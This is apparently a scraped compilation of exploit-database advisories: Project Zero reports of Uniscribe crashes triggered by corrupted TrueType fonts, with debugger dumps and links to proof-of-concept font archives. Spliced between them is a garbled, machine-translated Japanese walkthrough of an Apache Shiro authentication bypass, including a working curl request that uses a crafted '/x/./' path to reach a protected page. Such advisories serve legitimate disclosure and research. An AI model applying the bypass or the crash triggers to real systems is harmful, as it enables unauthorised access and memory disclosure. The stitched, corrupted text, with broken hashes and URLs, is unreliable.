cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
USP10!otlReverseChainingLookup::apply+0xbb:
7750786b 0fb700 movzx eax,word ptr [eax] ds:0023:0360c018=????
0:000> kb
# ChildEBP RetAddr Args to Child
00 0012ea38 77501533 0012ef8c 0012efa8 0012eebc USP10!otlReverseChainingLookup::apply+0xbb
01 0012eaa0 77508c6f 00000000 0012ef8c 00000022 USP10!ApplyLookup+0x2b3
02 0012eb24 77508531 0012eb90 42555347 0012ef8c USP10!applyContextLookups+0x21f
03 0012ebf8 77501508 42555347 0012ef8c 015acc64 USP10!otlChainingLookup::apply+0x701
04 0012ec78 775039f1 00000000 0012ef8c 00000040 USP10!ApplyLookup+0x288
05 0012ee7c 774fefcf 42555347 0012efb8 0012ef8c USP10!ApplyFeatures+0x481
06 0012eec8 774fb203 00000000 035aeffa 035aef70 USP10!SubstituteOtlGlyphs+0x1bf
07 0012eef4 774f6edc 0012ef24 0012ef9c 0012efb8 USP10!ShapingLibraryInternal::SubstituteOtlGlyphsWithLanguageFallback+0x23
08 0012f160 774e55da 0012f26c 0012f298 0012f280 USP10!GenericEngineGetGlyphs+0xa1c
09 0012f220 774e273f 0012f26c 0012f298 0012f280 USP10!ShapingGetGlyphs+0x36a
0a 0012f308 774b5c6f a801011c 03586124 03586318 USP10!ShlShape+0x2ef
0b 0012f34c 774c174a a801011c 03586124 03586318 USP10!ScriptShape+0x15f
0c 0012f3ac 774c2bd4 00000000 00000000 0012f42c USP10!RenderItemNoFallback+0xfa
0d 0012f3d8 774c2e62 00000000 00000000 0012f42c USP10!RenderItemWithFallback+0x104
0e 0012f3fc 774c43f9 00000000 0012f42c 03586124 USP10!RenderItem+0x22
0f 0012f440 774b7a04 000004a0 00000400 a801011c USP10!ScriptStringAnalyzeGlyphs+0x1e9
10 0012f458 760a1736 a801011c 03586040 0000000a USP10!ScriptStringAnalyse+0x284
11 0012f4a4 760a18c1 a801011c 0012f928 0000000a LPK!LpkStringAnalyse+0xe5
12 0012f5a0 760a17b4 a801011c 00000000 00000000 LPK!LpkCharsetDraw+0x332
13 0012f5d4 77df56a9 a801011c 00000000 00000000 LPK!LpkDrawTextEx+0x40
14 0012f614 77df5a64 a801011c 00000000 00000000 USER32!DT_DrawStr+0x13c
15 0012f660 77df580f a801011c 0012f928 0012f93c USER32!DT_GetLineBreak+0x78
16 0012f70c 77df5882 a801011c 00000000 0000000a USER32!DrawTextExWorker+0x250
17 0012f730 77df5b68 a801011c 0012f928 ffffffff USER32!DrawTextExW+0x1e
[...]
---
The issue reproduces on Windows 7, and could be potentially used to disclose sensitive data from the process heap. It is easiest to reproduce with PageHeap enabled, but it is also possible to observe a crash in a default system configuration. In order to reproduce the problem with the provided samples, it might be necessary to use a custom program which displays all of the font's glyphs at various point sizes.
Attached are 2 proof of concept malformed font files which trigger the crash.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42241.zip
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1204
We have encountered a crash in the Windows Uniscribe user-mode library, in the USP10!otlValueRecord::adjustPos function, while trying to display text using a corrupted TTF font file:
---
(470.4d4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=03546538 ecx=0017e9c4 edx=0353961e esi=0017eda4 edi=0353961c
eip=77509f2e esp=0017e96c ebp=0017e97c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
USP10!otlValueRecord::adjustPos+0x7e:
77509f2e 668b17 mov dx,word ptr [edi] ds:0023:0353961c=????
0:000> kb
# ChildEBP RetAddr Args to Child
00 0017e97c 775071b1 0017eda4 03546538 035464ac USP10!otlValueRecord::adjustPos+0x7e
01 0017ea04 7750168c 0017edbc 00000005 0017ecbc USP10!otlPairPosLookup::apply+0x1a1
02 0017ea78 775039f1 00000002 0017edbc 0017edb0 USP10!ApplyLookup+0x40c
03 0017ec7c 774ff1d1 534f5047 0017edf4 0017edbc USP10!ApplyFeatures+0x481
04 0017ecc8 774fb28b 00000000 00000000 0017edf4 USP10!RePositionOtlGlyphs+0x1c1
05 0017ecfc 774f7df3 0017ed94 0017ede0 0017edf4 USP10!ShapingLibraryInternal::RePositionOtlGlyphsWithLanguageFallback+0x2b
06 0017ef68 774e5bee 0017f0b8 0017f0c0 0017f0a4 USP10!GenericEngineGetGlyphPositions+0x8a3
07 0017f03c 774e2d8a 0017f0b8 0017f0c0 0017f0a4 USP10!ShapingGetGlyphPositions+0x40e
08 0017f134 774b5e45 af0106d0 03546124 035463dc USP10!ShlPlace+0x20a
09 0017f178 774c193d af0106d0 03546124 035463dc USP10!ScriptPlace+0x165
0a 0017f1d4 774c2bd4 00000000 00000000 0017f254 USP10!RenderItemNoFallback+0x2ed
0b 0017f200 774c2e62 00000000 00000000 0017f254 USP10!RenderItemWithFallback+0x104
0c 0017f224 774c43f9 00000000 0017f254 03546124 USP10!RenderItem+0x22
0d 0017f268 774b7a04 000004a0 00000400 af0106d0 USP10!ScriptStringAnalyzeGlyphs+0x1e9
0e 0017f280 760a1736 af0106d0 03546040 0000000a USP10!ScriptStringAnalyse+0x284
0f 0017f2cc 760a18c1 af0106d0 0017f750 0000000a LPK!LpkStringAnalyse+0xe5
10 0017f3c8 760a17b4 af0106d0 00000000 00000000 LPK!LpkCharsetDraw+0x332
11 0017f3fc 77df56a9 af0106d0 00000000 00000000 LPK!LpkDrawTextEx+0x40
12 0017f43c 77df5a64 af0106d0 00000060 00000000 USER32!DT_DrawStr+0x13c
13 0017f488 77df580f af0106d0 0017f750 0017f764 USER32!DT_GetLineBreak+0x78
14 0017f534 77df5882 af0106d0 00000000 0000000a USER32!DrawTextExWorker+0x250
15 0017f558 77df5b68 af0106d0 0017f750 ffffffff USER32!DrawTextExW+0x1e
[...]
---
The issue reproduces on Windows 7, and could be potentially used to disclose sensitive data from the process heap. It is easiest to reproduce with PageHeap enabled, but it is also possible to observe a crash in a default system configuration. In order to reproduce the problem with the provided samples, it might be necessary to use a custom program which displays all of the font's glyphs at various point sizes.
Attached are 3 proof of concept malformed font files which trigger the crash.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42240.zip
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1203
We have encountered a crash in the Windows Uniscribe user-mode library, in the USP10!otlSinglePosLookup::getCoverageTable function, while trying to display text using a corrupted TTF font file:
---
(7f0.488): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=03670ffe ebx=0365c048 ecx=03671000 edx=03671000 esi=03671000 edi=0024e9d4
eip=77500808 esp=0024e918 ebp=0024e918 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
USP10!otlSinglePosLookup::getCoverageTable+0x48:
77500808 668b4802 mov cx,word ptr [eax+2] ds:0023:03671000=????
0:000> kb
# ChildEBP RetAddr Args to Child
00 0024e918 77502c4b 0024e9d4 03671000 03671000 USP10!otlSinglePosLookup::getCoverageTable+0x48
01 0024e964 77504860 03670ffe 534f5047 00000001 USP10!GetSubtableCoverage+0xab
02 0024ea10 77504c29 534f5047 0367f132 00003ece USP10!BuildTableCache+0x240
03 0024ea48 774fed73 0024ea6c 00004000 0367f000 USP10!BuildCache+0x79
04 0024ea74 774e4fec 0024eaa0 00004000 0024eb44 USP10!BuildOtlCache+0x53
05 0024ecc0 774bd37b 0024edb8 0024ed48 0024ecd8 USP10!ShapingCreateFontCacheData+0x4cc
06 0024edc0 774bd8ef 03663e20 0024f148 00000004 USP10!ShlLoadFont+0x6b
07 0024f02c 774b9317 3c0102ac 0024f0b8 00000000 USP10!LoadFont+0x54f
08 0024f048 774b9630 3c0102ac 0024f070 7750d468 USP10!FindOrCreateFaceCache+0xe7
09 0024f150 774b99bb 3c0102ac 03656124 3c0102ac USP10!FindOrCreateSizeCacheWithoutRealizationID+0xf0
0a 0024f178 774ba528 3c0102ac 03656124 03656124 USP10!FindOrCreateSizeCacheUsingRealizationID+0xbb
0b 0024f19c 774ba692 03656124 3c0102ac 03656000 USP10!UpdateCache+0x38
0c 0024f1b0 774b7918 3c0102ac 000004a0 00000400 USP10!ScriptCheckCache+0x62
0d 0024f1cc 760a1736 3c0102ac 03656040 00000001 USP10!ScriptStringAnalyse+0x198
0e 0024f218 760a18c1 3c0102ac 0024f69e 00000001 LPK!LpkStringAnalyse+0xe5
0f 0024f314 760a17b4 3c0102ac 00000000 00000000 LPK!LpkCharsetDraw+0x332
10 0024f348 77df56a9 3c0102ac 00000000 00000000 LPK!LpkDrawTextEx+0x40
11 0024f388 77df5a64 3c0102ac 00000048 00000000 USER32!DT_DrawStr+0x13c
12 0024f3d4 77df580f 3c0102ac 0024f69e 0024f6a0 USER32!DT_GetLineBreak+0x78
13 0024f480 77df5882 3c0102ac 00000000 00000009 USER32!DrawTextExWorker+0x250
14 0024f4a4 77df5b68 3c0102ac 0024f69c ffffffff USER32!DrawTextExW+0x1e
[...]
0:000> !heap -p -a eax
address 03670ffe found in
_DPH_HEAP_ROOT @ 3651000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
3651d98: 3670c40 3c0 - 3670000 2000
73388e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
77d26206 ntdll!RtlDebugAllocateHeap+0x00000030
77cea127 ntdll!RtlpAllocateHeap+0x000000c4
77cb5950 ntdll!RtlAllocateHeap+0x0000023a
72e0ae6a vrfcore!VfCoreRtlAllocateHeap+0x0000002a
774c6724 USP10!UspAllocCache+0x00000054
774bad00 USP10!GetOtlTables+0x000000d0
774d777f USP10!CheckUpdateFontDescriptor+0x0000002f
774bd8e2 USP10!LoadFont+0x00000542
774b9317 USP10!FindOrCreateFaceCache+0x000000e7
774b9630 USP10!FindOrCreateSizeCacheWithoutRealizationID+0x000000f0
774b99bb USP10!FindOrCreateSizeCacheUsingRealizationID+0x000000bb
774ba528 USP10!UpdateCache+0x00000038
774ba692 USP10!ScriptCheckCache+0x00000062
774b7918 USP10!ScriptStringAnalyse+0x00000198
760a1736 LPK!LpkStringAnalyse+0x000000e5
760a18c1 LPK!LpkCharsetDraw+0x00000332
760a17b4 LPK!LpkDrawTextEx+0x00000040
77df56a9 USER32!DT_DrawStr+0x0000013c
77df5a64 USER32!DT_GetLineBreak+0x00000078
77df580f USER32!DrawTextExWorker+0x00000250
77df5882 USER32!DrawTextExW+0x0000001e
77df5b68 USER32!DrawTextW+0x0000004d
[...]
---
The issue reproduces on Windows 7, and could be potentially used to disclose sensitive data from the process heap. It is easiest to reproduce with PageHeap enabled, but it is also possible to observe a crash in a default system configuration. In order to reproduce the problem with the provided samples, it might be necessary to use a custom program which displays all of the font's glyphs at various point sizes.
Attached are 3 proof of concept malformed font files which trigger the crash.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42239.zip
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1202
We have encountered a crash in the Windows Uniscribe user-mode library, in the USP10!NextCharInLiga function, while trying to display text using a corrupted TTF font file:
---
(3d4.454): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=000032c3 ebx=002cedbc ecx=00000002 edx=0372c060 esi=00000006 edi=00006586
eip=77505a5e esp=002ce974 ebp=002ce980 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
USP10!NextCharInLiga+0x1e:
77505a5e 0fb73c17 movzx edi,word ptr [edi+edx] ds:0023:037325e6=????
0:000> kb
# ChildEBP RetAddr Args to Child
00 002ce980 774ffbe3 002cedbc 000032c3 00000008 USP10!NextCharInLiga+0x1e
01 002ce99c 77506148 002cedbc 002cedb0 00000006 USP10!CharToComponent+0x43
02 002ce9c8 775062bb 002cedbc 002cedb0 00000009 USP10!findBaseLigature+0xa8
03 002cea0c 77501733 002cedbc 0374cd30 002cecbc USP10!otlMkLigaPosLookup::apply+0x9b
04 002cea78 775039f1 00000000 002cedbc 002cedb0 USP10!ApplyLookup+0x4b3
05 002cec7c 774ff1d1 534f5047 002cedf4 002cedbc USP10!ApplyFeatures+0x481
06 002cecc8 774fb28b 03758ffc 03758d68 002cedf4 USP10!RePositionOtlGlyphs+0x1c1
07 002cecfc 774f7df3 002ced94 002cede0 002cedf4 USP10!ShapingLibraryInternal::RePositionOtlGlyphsWithLanguageFallback+0x2b
08 002cef68 774e5bee 002cf0b8 002cf0c0 002cf0a4 USP10!GenericEngineGetGlyphPositions+0x8a3
09 002cf03c 774e2d8a 002cf0b8 002cf0c0 002cf0a4 USP10!ShapingGetGlyphPositions+0x40e
0a 002cf134 774b5e45 000105d3 03726124 0372c020 USP10!ShlPlace+0x20a
0b 002cf17c 774c193d 000105d3 03726124 037263dc USP10!ScriptPlace+0x165
0c 002cf1d8 774c2bd4 00000000 00000000 002cf258 USP10!RenderItemNoFallback+0x2ed
0d 002cf204 774c2e62 00000000 00000000 002cf258 USP10!RenderItemWithFallback+0x104
0e 002cf228 774c43f9 00000000 002cf258 03726124 USP10!RenderItem+0x22
0f 002cf26c 774b7a04 000004a0 00000400 000105d3 USP10!ScriptStringAnalyzeGlyphs+0x1e9
10 002cf284 760a1736 000105d3 03726040 0000000a USP10!ScriptStringAnalyse+0x284
11 002cf2d0 760a18c1 000105d3 002cf754 0000000a LPK!LpkStringAnalyse+0xe5
12 002cf3cc 760a17b4 000105d3 00000000 00000000 LPK!LpkCharsetDraw+0x332
13 002cf400 77df56a9 000105d3 00000000 00000000 LPK!LpkDrawTextEx+0x40
14 002cf440 77df5a64 000105d3 00000120 00000000 USER32!DT_DrawStr+0x13c
15 002cf48c 77df580f 000105d3 002cf754 002cf768 USER32!DT_GetLineBreak+0x78
16 002cf538 77df5882 000105d3 00000000 0000000a USER32!DrawTextExWorker+0x250
17 002cf55c 77df5b68 000105d3 002cf754 ffffffff USER32!DrawTextExW+0x1e
[...]
---
The issue reproduces on Windows 7, and could be potentially used to disclose sensitive data from the process heap. It is easiest to reproduce with PageHeap enabled, but it is also possible to observe a crash in a default system configuration. In order to reproduce the problem with the provided samples, it might be necessary to use a custom program which displays all of the font's glyphs at various point sizes.
Attached are 3 proof of concept malformed font files which trigger the crash.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42238.zip
0x00脆弱性の詳細
Shiroがパスを制御している場合、着信URLエンコードをデコードできなかったため、攻撃者はフィルターをバイパスし、フィルタリングされたパスにアクセスしました。
0x01脆弱性の影響
SHRIO 1.3.2
0x02環境構築
このバージョンにはShiro-Spring-Boot-Starterがまだないため、https://github.com/godzeo/shiro_1.2.4_sample/archive/archive/archaster.zip。次に、サンプル/web/pom.xmlファイルでJSTLのバージョンを1.2に指定する必要があります。
Idea Editorを介してWarパッケージにコンパイルし、TomcatのWebAppsディレクトリに入れて実行します。コンパイルされた戦争パッケージ:https://github.com/backlion/demo/blob/master/samples-web-1.2.4.war
0x03脆弱性の再発
したがって、アカウントパスがフィルタリングされたパスに属していると判断できます。現時点では、burpを使用して切り捨ててから、認証許可をバイパスするパスにアクセスする前に、ディレクトリ名を追加/arbitraryディレクトリ名を追加します。 1.最初に、バックエンドホームページに直接アクセスしてから、直接ジャンプ302
2.アクセスパスの前にディレクトリ名を追加/arbitraryディレクトリ名を追加すると、高すぎる3にアクセスできます。ここでは、バックグラウンドのホームページソースコードと、バイパス後にアクセスしたページのコンテンツを表示できます。
0x04脆弱性分析
この脆弱性に関しては、オンラインで公開されている情報はほとんどありません。見つけることができる唯一の有用なものは、GithubのコミットレコードとCVEの説明情報です。
githubコミット情報:https://github.com/apache/shiro/commit/b15ab927709ca18ea4a02538be01919191919191919191919191919191919CVE.MITRE.ORG/CGI-BIN/CVENAME.CGI? webutils.javaのgetContextPathメソッドにあります。
CVEは次のように説明されています。
1.3.2以前のApache Shiroは、攻撃者が意図したサーブレットフィルターをバイパスし、非ルートサーブレットコンテキストパスの使用を活用することによりアクセスできるようにします。
このCVEの説明とコミット情報に基づいて、非ルートコンテキストパスが発生したときにコンテキストパスを取得するときに脆弱性が引き起こされることがわかりますが、詳細情報はまだ不明です。
ContextPathに関連しているため、サンプルプロジェクトを展開するときは、ContextPathの下でそれらを展開する必要があり、ルートを使用できません。最初に、GetContextPath関数の入り口に247行にブレークポイントを設定し、アクセスするためにログインが必要な通常のリクエストを送信し、近くのコードの処理ロジックを調べます。
Curl -V 'http://192.168.1.9:8080/Samples-WEB-1.2.4/Account/Index.jsp' 分解後、これがコンテキストパスであり、特別な動作がないことがわかります。私たちは返品に従い、フォローダウンし続けます。 ContextPathがわからない場合は、最初に自分でGoogleで検索することをお勧めします。
関数org.apache.shiro.web.util.webutils#getPathWithInApplicationに従ってください。
私は関数org.apache.shiro.web.filter.mgt.pathmatchingfilterchainresolver#getChainに従い続けました。 Requesturiが実際に取得されたことがわかります。ここで少しのステップでそれに従ってください。 103行近くのループの場合、一致するプロセスのためにrequesturiを取得するために使用され、一致する状況で対応する操作を実行することを見つけることは難しくありません。
ここで要求するのは、/account/**モードと一致するaccount/index.jspです。構成ファイル(shiro.ini)では、 /account /**ディレクトリにログイン後にユーザーがアクセスする必要があります。ここでの操作は、現在のユーザーがログインしているかどうか、または許可を得ているかどうかを確認することです。
ここでは、F9が直接リリースされ、302が実際にログインページにリダイレクトされていることがわかります。このようにして、アイデアは明確です。問題はContextPathです。これはRequesturiを生成するために使用され、Requesturiはこのリクエストに認証が必要かどうかを決定します。したがって、変形したコンテキストパスを構築して変形したrequesturiを生成するだけで、Apacheshiroの認証メカニズムをバイパスできます。
では、どのように構築する必要がありますか?コミットパッチコードによると、デコード操作と正規化操作が実行されていることがわかります。それは非通常の経路によって引き起こされなければなりません。間違ったコンテキストパスを取得するには、/x/./のようなパスを構築するだけであると推測されます。
再びそれを分解した後、ContextPathの価値が/x/./sample_web_warになっていることがわかります。計算されたrequesturiが何であるかを確認するには、それをフォローダウンしますか?正規化とデコード後、requesturiの値は/sample_web_war/account/index.jspです。
私が見たちょうど私が見た一致するパートに続き続けてください。表示されるrequesturiが /account /**モードと正常に一致しなくなることを確認するのは難しくありません。また、ログインがログインしているかどうかを確認する段階には入りません。このリクエストをリリースして、正常であるかどうかを確認します。
curl - path-as-is -v 'http://192.168.1.9:8080/x /.//samplys-web-1.2.4/account/index.jsp'
が表示される前にログインする必要があるページコンテンツを正常に返しました。これは主に、ContextPathとRequesturiの一貫性のない処理によるものです。
0x05参照
https://blog.csdn.net/qq_41832837/article/details/109064636#%E8%BF%9C%E7%A8%8B%E5%A5%89%E5%8 5%A8%E9%99%90%E5%88%B6%E7%BB%95%E8%BF%87%E6%BC%8F%E6%B4%9E%EF%BC%88CVE-2016-6802%EF%BC%89
http://ll29.cn/apache%20shiro/apache%20Shiro%E8%BF%9C%E7%A8%8B%E5%A %89%E5%85% A8%E9%99%90%E5%88%B6%E7%BB%95%E8%BF%87%E6%BC%8F%E6%B4%9E [CVE-2016-6802] .HTML
https://Lightless.me/archives/apache-shiro-analysis.html
https://github.com/godzeo/shiro_1.2.4_sample
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1201
We have encountered a crash in the Windows Uniscribe user-mode library, in the USP10!CreateIndexTable function, while trying to display text using a corrupted TTF font file:
---
(5cc.74): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=00000000 edx=00000000 esi=00000025 edi=0365428f
eip=774cc410 esp=002cef70 ebp=002cf084 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
USP10!CreateIndexTable+0x40:
774cc410 0fb64c4701 movzx ecx,byte ptr [edi+eax*2+1] ds:0023:03654290=??
0:000> kb
# ChildEBP RetAddr Args to Child
00 002cf084 774cc35e 036437d0 03653f68 03651ff4 USP10!CreateIndexTable+0x40
01 002cf098 774c746e 036437d0 03643fd0 036439d0 USP10!CreateIsStartOfRuleTable+0x2e
02 002cf0fc 774c7124 0000001a 035e3d88 035effa8 USP10!LoadTTOArabicShapeTables+0x29e
03 002cf110 774cc734 6c010413 035e3d88 035d6124 USP10!LoadArabicShapeTables+0xd4
04 002cf12c 774ba5a0 6c010413 036437d0 0000001a USP10!ArabicLoadTbl+0xd4
05 002cf154 774ba692 035d6124 6c010413 0000001a USP10!UpdateCache+0xb0
06 002cf168 774c15fd 6c010413 035d6000 774c16ab USP10!ScriptCheckCache+0x62
07 002cf174 774c16ab 00000001 00000001 00000000 USP10!GetShapeFunction+0xd
08 002cf1ac 774c2bd4 00000001 00000002 002cf22c USP10!RenderItemNoFallback+0x5b
09 002cf1d8 774c2e62 00000001 00000002 002cf22c USP10!RenderItemWithFallback+0x104
0a 002cf1fc 774c43f9 00000002 002cf22c 035d6124 USP10!RenderItem+0x22
0b 002cf240 774b7a04 000004a0 00000400 6c010413 USP10!ScriptStringAnalyzeGlyphs+0x1e9
0c 002cf258 760a1736 6c010413 035d6040 0000000a USP10!ScriptStringAnalyse+0x284
0d 002cf2a4 760a18c1 6c010413 002cf728 0000000a LPK!LpkStringAnalyse+0xe5
0e 002cf3a0 760a17b4 6c010413 00000000 00000000 LPK!LpkCharsetDraw+0x332
0f 002cf3d4 77df56a9 6c010413 00000000 00000000 LPK!LpkDrawTextEx+0x40
10 002cf414 77df5a64 6c010413 00000070 00000000 USER32!DT_DrawStr+0x13c
11 002cf460 77df580f 6c010413 002cf728 002cf73c USER32!DT_GetLineBreak+0x78
12 002cf50c 77df5882 6c010413 00000000 0000000a USER32!DrawTextExWorker+0x250
13 002cf530 77df5b68 6c010413 002cf728 ffffffff USER32!DrawTextExW+0x1e
[...]
---
The issue reproduces on Windows 7, and could be potentially used to disclose sensitive data from the process heap. It is easiest to reproduce with PageHeap enabled, but it is also possible to observe a crash in a default system configuration. In order to reproduce the problem with the provided samples, it might be necessary to use a custom program which displays all of the font's glyphs at various point sizes.
Attached is a proof of concept malformed font file which triggers the crash.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42237.zip
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1200
We have encountered a crash in the Windows Uniscribe user-mode library, in the USP10!SubstituteNtoM function, while trying to display text using a corrupted TTF font file:
---
(69c.164): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=035fc256 ebx=00000000 ecx=035fc256 edx=00000019 esi=035cc1d0 edi=00000001
eip=7750a774 esp=0014eb38 ebp=0014eb64 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
USP10!SubstituteNtoM+0x2c4:
7750a774 668b08 mov cx,word ptr [eax] ds:0023:035fc256=????
0:000> kb
# ChildEBP RetAddr Args to Child
00 0014eb64 7750994d 0014ef40 0014ef64 035fc256 USP10!SubstituteNtoM+0x2c4
01 0014eba8 7750142a 0014ef40 0014ef64 0014ee54 USP10!otlMultiSubstLookup::apply+0x10d
02 0014ec10 775039f1 00000000 0014ef40 00001c3a USP10!ApplyLookup+0x1aa
03 0014ee14 774fefcf 42555347 0014ef7c 0014ef40 USP10!ApplyFeatures+0x481
04 0014ee60 774ff920 00000000 035f3ffe 035f3c90 USP10!SubstituteOtlGlyphs+0x1bf
05 0014ee9c 774f1500 0014ef18 0014ef50 0014ef7c USP10!SubstituteOtlChars+0x220
06 0014f118 774e55da 0014f224 0014f250 0014f238 USP10!HebrewEngineGetGlyphs+0x690
07 0014f1d8 774e273f 0014f224 0014f250 0014f238 USP10!ShapingGetGlyphs+0x36a
08 0014f2c4 774b5c6f a30105a2 035c6124 035c6318 USP10!ShlShape+0x2ef
09 0014f308 774c174a a30105a2 035c6124 035c6318 USP10!ScriptShape+0x15f
0a 0014f368 774c2bd4 00000000 00000000 0014f3e8 USP10!RenderItemNoFallback+0xfa
0b 0014f394 774c2e62 00000000 00000000 0014f3e8 USP10!RenderItemWithFallback+0x104
0c 0014f3b8 774c43f9 00000000 0014f3e8 035c6124 USP10!RenderItem+0x22
0d 0014f3fc 774b7a04 000004a0 00000400 a30105a2 USP10!ScriptStringAnalyzeGlyphs+0x1e9
0e 0014f414 760a1736 a30105a2 035c6040 0000000a USP10!ScriptStringAnalyse+0x284
0f 0014f460 760a18c1 a30105a2 0014f8e4 0000000a LPK!LpkStringAnalyse+0xe5
10 0014f55c 760a17b4 a30105a2 00000000 00000000 LPK!LpkCharsetDraw+0x332
11 0014f590 77df56a9 a30105a2 00000000 00000000 LPK!LpkDrawTextEx+0x40
12 0014f5d0 77df5a64 a30105a2 00000728 00000000 USER32!DT_DrawStr+0x13c
13 0014f61c 77df580f a30105a2 0014f8e4 0014f8f8 USER32!DT_GetLineBreak+0x78
14 0014f6c8 77df5882 a30105a2 00000000 0000000a USER32!DrawTextExWorker+0x250
15 0014f6ec 77df5b68 a30105a2 0014f8e4 ffffffff USER32!DrawTextExW+0x1e
[...]
---
The issue reproduces on Windows 7, and could be potentially used to disclose sensitive data from the process heap. It is easiest to reproduce with PageHeap enabled, but it is also possible to observe a crash in a default system configuration. In order to reproduce the problem with the provided samples, it might be necessary to use a custom program which displays all of the font's glyphs at various point sizes.
Attached are 2 proof of concept malformed font files which trigger the crash.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42236.zip
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1199
We have encountered a crash in the Windows Uniscribe user-mode library, in the USP10!ttoGetTableData function, while trying to display text using a corrupted TTF font file:
---
(210.274): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=000002f6 ebx=000000d0 ecx=0361c003 edx=0000d0d0 esi=0361c000 edi=016101e4
eip=774d3d43 esp=0046f1e0 ebp=0046f1f0 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
USP10!ttoGetTableData+0x1aa3:
774d3d43 660fb606 movzx ax,byte ptr [esi] ds:0023:0361c000=??
0:000> kb
# ChildEBP RetAddr Args to Child
00 0046f1f0 774d2e10 00000000 00000001 0361b734 USP10!ttoGetTableData+0x1aa3
01 0046f230 774d2d68 0361b73c 036255f8 0046f250 USP10!ttoGetTableData+0xb70
02 0046f258 774d22f1 036255f8 036255f8 0361b734 USP10!ttoGetTableData+0xac8
03 0046f26c 774c75b8 03619fd0 036199d0 0046f308 USP10!ttoGetTableData+0x51
04 0046f2cc 774c7124 0000001a 035b3d88 035c1fa8 USP10!LoadTTOArabicShapeTables+0x3e8
05 0046f2e0 774cc734 9a010536 035b3d88 035a6124 USP10!LoadArabicShapeTables+0xd4
06 0046f2fc 774ba5a0 9a010536 036197d0 0000001a USP10!ArabicLoadTbl+0xd4
07 0046f324 774ba692 035a6124 9a010536 0000001a USP10!UpdateCache+0xb0
08 0046f338 774c15fd 9a010536 035a6000 774c16ab USP10!ScriptCheckCache+0x62
09 0046f344 774c16ab 00000001 00000001 00000000 USP10!GetShapeFunction+0xd
0a 0046f37c 774c2bd4 00000001 00000000 0046f3fc USP10!RenderItemNoFallback+0x5b
0b 0046f3a8 774c2e62 00000001 00000000 0046f3fc USP10!RenderItemWithFallback+0x104
0c 0046f3cc 774c43f9 00000000 0046f3fc 035a6124 USP10!RenderItem+0x22
0d 0046f410 774b7a04 000004a0 00000400 9a010536 USP10!ScriptStringAnalyzeGlyphs+0x1e9
0e 0046f428 760a1736 9a010536 035a6040 0000000a USP10!ScriptStringAnalyse+0x284
0f 0046f474 760a18c1 9a010536 0046f8f8 0000000a LPK!LpkStringAnalyse+0xe5
10 0046f570 760a17b4 9a010536 00000000 00000000 LPK!LpkCharsetDraw+0x332
11 0046f5a4 77df56a9 9a010536 00000000 00000000 LPK!LpkDrawTextEx+0x40
12 0046f5e4 77df5a64 9a010536 00000058 00000000 USER32!DT_DrawStr+0x13c
13 0046f630 77df580f 9a010536 0046f8f8 0046f90c USER32!DT_GetLineBreak+0x78
14 0046f6dc 77df5882 9a010536 00000000 0000000a USER32!DrawTextExWorker+0x250
15 0046f700 77df5b68 9a010536 0046f8f8 ffffffff USER32!DrawTextExW+0x1e
[...]
0:000> !heap -p -a esi-1
address 0361bfff found in
_DPH_HEAP_ROOT @ 35a1000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
35a1780: 361b1b0 e4e - 361b000 2000
73448e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
77d26206 ntdll!RtlDebugAllocateHeap+0x00000030
77cea127 ntdll!RtlpAllocateHeap+0x000000c4
77cb5950 ntdll!RtlAllocateHeap+0x0000023a
7433ae6a vrfcore!VerifierSetAPIClassName+0x000000aa
774c6724 USP10!UspAllocCache+0x00000054
774c728f USP10!LoadTTOArabicShapeTables+0x000000bf
774c7124 USP10!LoadArabicShapeTables+0x000000d4
774cc734 USP10!ArabicLoadTbl+0x000000d4
774ba5a0 USP10!UpdateCache+0x000000b0
774ba692 USP10!ScriptCheckCache+0x00000062
774c15fd USP10!GetShapeFunction+0x0000000d
774c2bd4 USP10!RenderItemWithFallback+0x00000104
774c2e62 USP10!RenderItem+0x00000022
774c43f9 USP10!ScriptStringAnalyzeGlyphs+0x000001e9
774b7a04 USP10!ScriptStringAnalyse+0x00000284
760a1736 LPK!LpkStringAnalyse+0x000000e5
760a18c1 LPK!LpkCharsetDraw+0x00000332
